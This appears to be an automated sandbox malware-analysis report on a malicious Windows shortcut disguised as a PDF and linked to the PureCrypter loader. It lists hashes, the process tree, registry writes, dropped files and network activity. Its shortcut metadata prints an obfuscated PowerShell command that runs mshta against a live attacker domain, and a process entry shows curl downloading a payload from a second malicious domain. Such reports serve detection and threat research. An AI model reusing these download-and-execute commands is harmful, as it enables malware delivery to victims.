| download: | /Downloads/KrustyPaperjre.pdf.lnk |
| Full analysis: | https://app.any.run/tasks/f6040863-227b-41ea-b7fa-fae3fd7fc7c4 |
| Verdict: | Malicious activity |
| Threats: | First identified in March 2021, PureCrypter is a .NET-based loader that employs obfuscation techniques, such as SmartAssembly, to evade detection. It has been used to distribute malware families including AgentTesla, RedLine Stealer, and SnakeKeylogger. The malware is typically delivered through phishing campaigns and malicious downloads, often masquerading as legitimate files with extensions like .mp4 or .pdf. PureCrypter utilizes encryption and compression to conceal its payloads and can inject malicious code into legitimate processes to maintain persistence on the infected system. |
| Analysis date: | February 17, 2025, 18:00:20 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-ms-shortcut |
| File info: | MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon "%ProgramFiles%\Microsoft\Edge\Application\msedge.exe" KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, length=0, window=showminnoactive, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\" |
| MD5: | 7A5EFC0ECF2DB8678AC2497170E6EC35 |
| SHA1: | F3AA7A250CA0D2EFF6D04083B35F365A51F01925 |
| SHA256: | B42638A2D04D8F5BB64D9CABB6DADADF8922891E0B7A7492E5D5D39FD05798EB |
| SSDEEP: | 24:8N84Zsx/Tff1efVKayWtC+/CWgcmLBWyGfKhbqddS9dbEQCabxJlpl9l:8wTX1e3ztoVLFW6udo9aQCadrL9 |
| .lnk | | | Windows Shortcut (100) |
|---|
| Flags: | IDList, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon |
|---|---|
| FileAttributes: | (none) |
| TargetFileSize: | - |
| IconIndex: | 11 |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | powershell.exe |
| RelativePath: | ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| CommandLineArguments: | . ([char]105+[char]101+[char]120) ('m##sh##t#a## h###t###tp##s#:###//###s##ma###r#ts#e#rv###e###r##s##25##.#c###o#m##/k#r##u#st#p#a##p###erj###r#e' -replace '#')" |
| IconFileName: | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 372 | curl -s -o "C:\Users\admin\AppData\Local\temp\pjzci" "bunnieharlanbarack.com/v10/abmk.php?sedt=6" | C:\Windows\System32\curl.exe | — | cmd.exe | |||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 6 Version: 8.4.0 Modules
| |||||||||||||||
| 768 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1016 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1476 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1600,i,3391271442816903050,6819915813511272646,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | — | AcroCEF.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Version: 23.1.20093.0 Modules
| |||||||||||||||
| 1540 | "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\admin\AppData\Local\temp\nhaxa" "bunnieharlanbarack.com/v10/abmk.php?sedt=6" | C:\Windows\System32\cmd.exe | — | jre-8u12421-windows-x64.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 6 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1876 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2008 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2652 --field-trial-handle=1600,i,3391271442816903050,6819915813511272646,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | — | AcroCEF.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Exit code: 0 Version: 23.1.20093.0 Modules
| |||||||||||||||
| 2132 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1600,i,3391271442816903050,6819915813511272646,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | AcroCEF.exe | ||||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Version: 23.1.20093.0 Modules
| |||||||||||||||
| 2216 | curl -s -o "C:\Users\admin\AppData\Local\temp\nhaxa" "bunnieharlanbarack.com/v10/abmk.php?sedt=6" | C:\Windows\System32\curl.exe | — | cmd.exe | |||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 6 Version: 8.4.0 Modules
| |||||||||||||||
| 2448 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (6832) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6832) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6832) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (6968) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithProgids |
| Operation: | write | Name: | Acrobat.Document.DC |
Value: | |||
| (PID) Process: | (7124) Acrobat.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2034283098-2252572593-1072577386-2659511007-3245387615-27016815-3920691934 |
| Operation: | write | Name: | DisplayName |
Value: Adobe Acrobat Reader Protected Mode | |||
| (PID) Process: | (3060) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ExitSection |
| Operation: | write | Name: | bLastExitNormal |
Value: 0 | |||
| (PID) Process: | (3060) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement |
| Operation: | write | Name: | bSynchronizeOPL |
Value: 0 | |||
| (PID) Process: | (3060) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral |
| Operation: | write | Name: | uLastAppLaunchTimeStamp |
Value: 353481120 | |||
| (PID) Process: | (3060) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral |
| Operation: | write | Name: | iNumAcrobatLaunches |
Value: 7 | |||
| (PID) Process: | (3060) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ToolsSearch |
| Operation: | write | Name: | iSearchHintIndex |
Value: 3 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6252 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3paqgguo.i05.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6252 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nyy5l1uz.ykq.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6832 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 | binary | |
MD5:E192462F281446B5D1500D474FBACC4B | SHA256:F1BA9F1B63C447682EBF9DE956D0DA2A027B1B779ABEF9522D347D3479139A60 | |||
| 6252 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7fa409659f310def.customDestinations-ms | binary | |
MD5:1D1A7A5176618E1905630D2C7034675B | SHA256:0615801E8ACB77C53A1BE1AAD85C28B4F073A26DF335F325F94777A5F792E6A0 | |||
| 5740 | AcroCEF.exe | C:\Users\admin\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF1385dd.TMP | text | |
MD5:D012E5B4EB91B61F6E8AE2F8EC3C623E | SHA256:1BDA750084F20306722008016420E1912BA608CA8EFB9C661F7E7EFCF5E89673 | |||
| 6968 | powershell.exe | C:\Users\admin\AppData\Roaming\KRUSTY-PAPER-v1.pdf | ||
MD5:F9AAF34D9A9B04BDFAE2075E374FD435 | SHA256:7E657D2A1897B9E89C64978A68D9B381643385DE21D7B3DA53E51250FF5D0B78 | |||
| 3060 | Acrobat.exe | C:\Users\admin\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.1.20093.6 2025-02-17 18-00-39-623.log | text | |
MD5:460C6041966002D8384A18C895A65EB0 | SHA256:C83EC6E8FB3EC62481289C033238C1D9B08DB8076EAAD304099FD7A7F594F1B9 | |||
| 6968 | powershell.exe | C:\Users\admin\AppData\Roaming\jre-8u12421-windows-x64.exe | executable | |
MD5:1C407975AEF46581639EB8B2D3E4329C | SHA256:8248E900ED4DE8EE9EE5E5DCBC6E86C2E566F8E08AF4DB580E5F4933ECDC941D | |||
| 3060 | Acrobat.exe | C:\Users\admin\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json | binary | |
MD5:837C1211E392A24D64C670DC10E8DA1B | SHA256:8013AC030684B86D754BBFBAB8A9CEC20CAA4DD9C03022715FF353DC10E14031 | |||
| 3060 | Acrobat.exe | C:\Users\admin\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt | text | |
MD5:D17BD6CA35DC713774B2F481BA8B3F80 | SHA256:B0861BC1F31BB8189D75DA7FAA75DBEA81AA579C78CECF6C40AAA0882AD93F26 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1176 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
6832 | mshta.exe | GET | 200 | 69.192.161.44:80 | http://x1.c.lencr.org/ | unknown | — | — | whitelisted |
6832 | mshta.exe | GET | 200 | 184.24.77.56:80 | http://e6.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBTUejiAQejpjQc4fOz2ttjyD6VkMQQUDcXM%2FZvuFAWhTDCCpT5eisNYCdICEgQxtIorfiDyyuz3bNxnKtBnhA%3D%3D | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6464 | backgroundTaskHost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 104.124.11.17:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
7124 | Acrobat.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D | unknown | — | — | whitelisted |
7020 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7020 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2356 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4712 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5564 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5064 | SearchApp.exe | 104.126.37.139:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
— | — | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1176 | svchost.exe | 20.190.159.73:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1176 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
1076 | svchost.exe | 23.35.238.131:443 | go.microsoft.com | AKAMAI-AS | DE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
login.live.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
smartservers25.com |
| unknown |
x1.c.lencr.org |
| whitelisted |
e6.o.lencr.org |
| whitelisted |
geo2.adobe.com |
| whitelisted |